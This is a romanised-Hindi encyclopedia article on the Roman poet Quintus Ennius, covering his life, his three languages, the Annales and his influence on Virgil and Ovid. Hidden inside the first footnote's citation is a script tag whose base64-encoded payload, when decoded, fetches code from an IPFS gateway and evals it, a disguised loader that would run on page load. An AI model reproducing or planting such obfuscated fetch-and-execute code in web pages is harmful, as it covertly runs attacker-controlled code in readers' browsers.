ऐन्नियुस क्विंतुस
ainniyus kviantus (ee.poo. 239-169) ko 'roman kavita ka janak' kaha jata hai. inaka janm itali ke dakshinapoorv mean kalabriya pradesh ke roopadiyae namak sthan mean hua tha. grik, aauskan aur latini, tinoan bhashaoan ka achchha jnata hone ke karan ainniyus kaha karata tha ki mujhe tin hriday prapt hai. yuvavastha mean vah sena mean saianchariyan (shatadhyaksh) pad par pahuanch gaya tha. kato namak jananayak isako rom le gaya. rom mean nivas aranbh karane ke tho de samay pashchath ainniyus ne kavyarachana aranbh ki. yahaan usaka rom ke prabhavashali netaoan se parichay hua. yah markus ke sath eetoliya ke abhiyan mean bhi gaya tha jisaka varnan usane apane natakoan mean kiya hai. isaki mrityu gathiya rog se ee. rpoo. 169 mean huee.[1]
isaki rachanaoan ki sankhya bahut adhik thi. kiantu is samay to usaki vibhinn rachanaoan mean se kuchh panktiyaan hi avashisht rah gee haian jinaki sankhya 1,000 se kuchh hi adhik hogi. in rachanaoan mean se ek mahakavy mean, jisaka nam 'analais' hai, usane rom ka itihas likha hai. ainniyus ke natakoan mean se 22 du:khaant natakoan, do sukhaant natakoan tatha ek aitihasik natak ke uddharan milate haian. isaki any rachanaoan ki bhi kuchh panktiyaan avashisht hai. pashchathkalin kaviyoan par usaki rachanaoan ka atyadhik prabhav p da hai. vah latini ka adikavi tha tatha usane grik kavy aur natak ke prabhav ko latini bhasha mean avatirn kiya. iskilas, sofoklis tatha yooripides ki natayashaili ki pratidhvani usake natakoan mean spashtataya suni ja sakati hai. par usane apane tinoan hridayoan ki bhavukata ki sanpatti ko ekamatr hriday (latini) mean uandelakar bhavi sahityikoan ka marg prashast kiya. isi karan sisaro aur kviantiliyan jaise mahanh lekhakoan ne usaki prashansa ki evan nukritiyus, varjil evan ovid usake rrini haian. kahate haian, vah atyant milanasar aur prasannachit vyakti tha.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 277 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.–maikel : laitin litarechar, 1906; daphhऱ : d raitars aauv rom, 1941.
sanbandhit lekh
varnamala kramanusar lekh khoj
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